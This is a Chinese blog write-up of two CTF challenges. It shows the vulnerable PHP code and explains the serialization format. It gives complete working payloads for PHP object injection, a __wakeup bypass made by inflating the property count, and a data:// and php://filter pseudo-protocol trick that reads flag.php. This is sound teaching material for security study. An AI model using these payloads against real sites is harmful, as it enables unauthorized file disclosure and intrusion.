[极客大挑战 2019]PHP&[ZJCTF 2019]NiZhuanSiWei


概要

本文主要记录[极客大挑战 2019]PHP和[ZJCTF 2019]NiZhuanSiWei解题过程以及相关思路

解题过程

1.[极客大挑战 2019]PHP

打开题目,发现提示备份网站,那么就考虑寻找网站的备份文件,这里我是用的是dirsearch
在这里插入图片描述
果不其然,发现备份文件为www.zip,拼接到url后面直接下载
在这里插入图片描述
发现其中有3个php文件
在这里插入图片描述
index.php
其中包含了class.php,同时需要以GET方式传递select参数,还使用了unserialize函数

<!DOCTYPE html>
	...
    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
    ...
</html>

class.php
其中定义了一个Name类,其含有两个private属性,同时还重载了__construct()、__wakeup()、__destruct()三个魔术方法。

<?php
include 'flag.php';

error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

PHP常见魔术方法:

__construct: 构造函数,会在每次创建新对象时先调用此方法
__destruct: 析构函数,会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__toString:返回一个类被当做字符串时要输出的内容,此方法必须返回字符串并且不能在此方法中抛出异常,否则会产生致命错误
__sleep:序列化对象之前就调用此方法,返回一个包含对象中所有应被序列化的变量名称的数组
__wakeup:与__sleep相反,是在unserialize函数反序列化时首先会检查类中是否存在__wakeup方法,如果存在会先调用次方法然后再执行反序列化操作
__call:在对象中调用一个不可访问方法时调用

flag.php
假flag

<?php
	$flag = 'Syc{dog_dog_dog_dog}';
?>

既然class.php中给出了类的定义,index.php中又使用到了unserialize函数,应该就是考PHP的反序列化了
首先构造一个序列化对象,username为admin,password为101(故意不设为100,希望看到打印出来的数值),发现不行,因为在执行unserialize函数前检测到了__wakeup()函数,会先执行__wakeup()函数,那么此时username的值被改为guest

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"101";}

在这里插入图片描述
那么就需要考虑绕过__wakeup()函数,当序列化对象中的成员数大于实际成员数时,就可以绕过__wakeup()函数,即payload:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

在这里插入图片描述

2.[ZJCTF 2019]NiZhuanSiWei

打开题目发现需要以GET方式传递三个参数,并且还使用到了file_get_contents()、preg_match()、unserialize()等函数
在这里插入图片描述
首先看看file_get_contents()的声明,其实从函数名也可以看出,是一个用于将文件内容读入一个字符串的函数,那么题目中要求我们读$text这个文件,并且这个文件的内容需要为welcome to the zjctf
在这里插入图片描述
那么我们去哪里找这样一个文件呢?我第一个思路是看看网站目录下会不会存在这样一个文件,我再让$text的值为文件名就可以了,同样是用dirsearch,不过很可惜,没有收获。既然本地没有,那可以试试远程的文件,在官方的函数介绍中,发现$filename可以是http地址,那么如果我在我自己的服务器中准备一个内容符合的文件,再将$text设置为相应的地址,是不是就可以通过了呢?这里由于我没有服务器,还请各位师傅自己下去试试,可以的话也告诉我一下结果如何。
在这里插入图片描述
不过,我们还有一个老朋友–PHP伪协议
姿势一:
在这里插入图片描述
welcome to the zjctf写在POST数据位置处,即可绕过
在这里插入图片描述
姿势二:
在这里插入图片描述
在这里插入图片描述
这里welcome to the zjctf的base64编码为d2VsY29tZSB0byB0aGUgempjdGY=
在这里插入图片描述

下一步,$file的内容中不能含有flag,不过由于是使用include函数,那么就又可以使用php伪协议来读取注释中所提示的useless.php的内容
在这里插入图片描述
base64解码后得到useless.php的代码,发现其中又使用到了file_get_contents(),并给出提示,应该就是要读flag.php的内容
在这里插入图片描述
那么password字段应该是需要传输序列化后的Flag对象字符串,当echo输出对象时会调用__tostring()方法,从而调用file_get_contents()读取flag.php(此时别忘了file参数需要修改为useless.php,因为刚刚是读取文件内容,而现在反序列需要用到useless.php中定义的类,所以需要包含useless.php)
payload:

/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在这里插入图片描述

相关知识点补充

PHP序列化与反序列化

<?php
class Test
{
    public $name = "Bob";
    protected $gender = "man";
    private $age = "23";

    public function __toString()
    {
        echo $this->name . "--->tostring!" . '<br>';
        return "";
    }

    public function __sleep()
    {
        echo "sleep!" . '<br>';
        return array('name', 'gender', 'age');
    }

    public function __wakeup()
    {
        echo "wakeup!" . '<br>';
    }

    public function __construct()
    {
        echo "construct!" . '<br>';
    }

    public function __destruct()
    {
        echo $this->name . "--->destruct!" . '<br>';
    }
}

$test = new Test();
echo 'serialize!' . '<br>';
$s_test = serialize($test);
echo $s_test; //O:4:"Test":3:{s:4:"name";s:3:"Bob";s:9:"*gender";s:3:"man";s:9:"Testage";s:2:"23";}
echo '<br>';
echo urlencode($s_test);
echo '<br>';
echo 'unserialize!' . '<br>';
$u_test = unserialize($s_test);
$u_test->name = "Alice";
echo $u_test;

?>

在这里插入图片描述
这段代码验证了上面所说到的魔术方法的执行顺序,下面则重点分析序列化的结果
O:4:"Test":3:{s:4:"name";s:3:"Bob";s:9:"*gender";s:3:"man";s:9:"Testage";s:2:"23";}
O(代表是一个对象):4(对象名长度为4):"Test"(对象名):3(对象所含有的属性的个数)
{}中表示的是具体的属性名和属性值
s(属性名为字符串类型):4(属性名长度为4):"name"(属性名);s(属性值为字符串类型):3(属性值长度为3):"Bob"(属性值);

  • 由于name属性为public权限,所以经过序列化后直接为name就可以,对应长度为4

s(属性名为字符串类型):9(属性名长度为9):"*gender"(属性名);s(属性值为字符串类型):3(属性值长度为3):"man"(属性值);

  • 由于gender属性为protected权限,所以经过序列化后属性名需要改为%00*%00gender(%00*%00属性名),对应长度为9

s(属性名为字符串类型)):9(属性名长度为9):"Testage"(属性名);s(属性值为字符串类型):2(属性值长度为2):"23"(属性值);

  • 由于age属性为private权限,所以经过序列化后属性名需要改为%00Test%00age(%00类名%00属性名),对应长度为9

注:因为%00是不可见字符,所以打印出来是不可见的,不过当我们进行url编码的时候,就可以看到%00(如上图框框),所以%00还是会占用1个长度

常见的序列化类型如下,详情可以看看这篇文章

  • a - array
  • b - boolean
  • d - double
  • i - integer
  • s - string
  • O - class
  • N - null
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值